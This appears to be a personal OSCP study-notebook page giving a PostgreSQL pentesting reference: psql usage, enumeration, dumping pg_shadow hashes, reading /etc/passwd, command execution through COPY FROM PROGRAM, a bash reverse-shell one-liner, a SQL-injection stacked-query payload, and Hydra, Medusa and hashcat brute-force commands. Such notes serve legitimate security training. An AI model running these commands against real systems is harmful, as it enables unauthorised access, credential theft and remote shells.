Pearson's OSCP Notebook

PostgreSQL

Properties1
tagspostgresql, postgres, database, 5432, psql, copy-from-program, enumeration, rce

4 min read

PostgreSQL — Complete Reference

What is PostgreSQL?

PostgreSQL is a powerful open-source relational database, common on Linux servers and web apps. Runs on port 5432/TCP. The default superuser is postgres.

OSCP use: postgres with weak/blank password is common. COPY FROM PROGRAM (PostgreSQL 9.3+) gives OS command execution as the postgres OS user.

Install (Kali)

sudo apt update && sudo apt install -y postgresql-client

Verify: psql --version

Full install index → Installation - Kali Setup

Port

PortService
5432/TCPPostgreSQL

Syntax

psql [options] [dbname [username]]

📌 1) Connection Flags

FlagDescription
-h HOSTRemote host
-p PORTPort (default: 5432) — lowercase p
-U USERNAMEUsername
-d DATABASEDatabase name
-WForce password prompt
-wNever prompt for password
-c "QUERY"Run single command and exit
-f FILEExecute SQL from file
-lList all databases and exit
-AUnaligned output (no padding)
-tPrint rows only (no headers)
-AtTuple-only output (great for scripting)
-F SEPARATORField separator (default: |)
-R SEPARATORRecord separator
-o FILESend query results to file
-nSkip SET commands from ~/.psqlrc
-v NAME=VALUESet psql variable
-XDon’t read ~/.psqlrc
--single-transactionWrap file execution in one transaction
-V / --versionShow version
--helpFull help

Environment variables:

export PGHOST=10.10.10.10
export PGPORT=5432
export PGUSER=postgres
export PGPASSWORD=password
export PGDATABASE=postgres
psql    # uses env vars automatically

📌 2) Connecting

# Interactive
psql -h 10.10.10.10 -U postgres
psql -h 10.10.10.10 -U postgres -d postgres
 
# With password inline (env var — avoids prompt)
PGPASSWORD=password psql -h 10.10.10.10 -U postgres
 
# Blank password
psql -h 10.10.10.10 -U postgres -w
 
# Connection URI
psql postgresql://postgres:password@10.10.10.10:5432/postgres
 
# Single command
psql -h 10.10.10.10 -U postgres -c "\l"
psql -h 10.10.10.10 -U postgres -At -c "SELECT version();"
 
# List databases
psql -h 10.10.10.10 -U postgres -l

📌 3) Nmap Enumeration

nmap -p 5432 -sV 10.10.10.10
nmap -p 5432 --script pgsql-brute --script-args userdb=users.txt,passdb=passwords.txt 10.10.10.10

📌 4) Interactive Commands (psql Meta + SQL)

psql Meta-Commands (backslash)

\?              -- Help for meta-commands
\l              -- List databases
\c dbname       -- Connect to database
\dt             -- List tables (current schema)
\dt *.*         -- List all tables in all schemas
\d table_name   -- Describe table
\du             -- List roles/users
\dn             -- List schemas
\df             -- List functions
\q              -- Quit
\timing         -- Toggle query timing
\x              -- Expanded display (vertical)
\copy           -- Copy data to/from file
\! command      -- Run OS shell command (local — on YOUR machine)

SQL Enumeration

-- Info
SELECT version();
SELECT current_user;
SELECT current_database();
SELECT usename, usesuper FROM pg_user;
 
-- List databases
SELECT datname FROM pg_database;
 
-- List tables
SELECT tablename FROM pg_tables WHERE schemaname='public';
 
-- List columns
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
 
-- Dump data
SELECT * FROM users;
 
-- Password hashes (superuser only)
SELECT usename, passwd FROM pg_shadow;

📌 5) File Read

-- Read file (requires superuser)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 1000);   -- offset, length
 
-- List directory (superuser)
SELECT pg_ls_dir('/var/www/html');

Non-interactive:

psql -h 10.10.10.10 -U postgres -c "SELECT pg_read_file('/etc/passwd');"

📌 6) RCE — COPY FROM PROGRAM

Requires superuser. Works on PostgreSQL 9.3+:

-- Execute command and capture output
CREATE TABLE cmd_output(lines text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
 
-- Reverse shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.45.227/4445 0>&1"';
 
-- One-liner without table (via DO block — version dependent)
-- Simpler approach:
CREATE TABLE pwn(cmd_output text);
COPY pwn FROM PROGRAM 'whoami';
SELECT * FROM pwn;

Via SQLi (stacked queries):

'; COPY cmd_output FROM PROGRAM 'whoami'--

📌 7) Brute Force

# Hydra
hydra -l postgres -P /usr/share/wordlists/rockyou.txt 10.10.10.10 postgres
hydra -L users.txt -P passwords.txt 10.10.10.10 postgres
 
# Medusa
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M postgres

Hash cracking (from pg_shadow):

# PostgreSQL MD5 — hashcat mode 11100
hashcat -m 11100 pg_hash.txt /usr/share/wordlists/rockyou.txt
john --format=postgres pg_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

📌 Quick Cheat Sheet (Copy/Paste)

# ─── CONNECT ──────────────────────────────────────────────────
psql -h TARGET -U postgres
PGPASSWORD=password psql -h TARGET -U postgres -d postgres
 
# ─── ONE-LINERS ───────────────────────────────────────────────
psql -h TARGET -U postgres -l
psql -h TARGET -U postgres -c "SELECT version();"
psql -h TARGET -U postgres -At -c "SELECT * FROM users;"
 
# ─── ENUMERATE (inside psql) ──────────────────────────────────
\l
\c dbname
\dt
SELECT * FROM users;
SELECT usename, usesuper FROM pg_user;
 
# ─── FILE READ ────────────────────────────────────────────────
SELECT pg_read_file('/etc/passwd');
 
# ─── RCE ──────────────────────────────────────────────────────
CREATE TABLE cmd_output(lines text);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;
 
# ─── BRUTE FORCE ──────────────────────────────────────────────
hydra -l postgres -P /usr/share/wordlists/rockyou.txt TARGET postgres

Graph View

Backlinks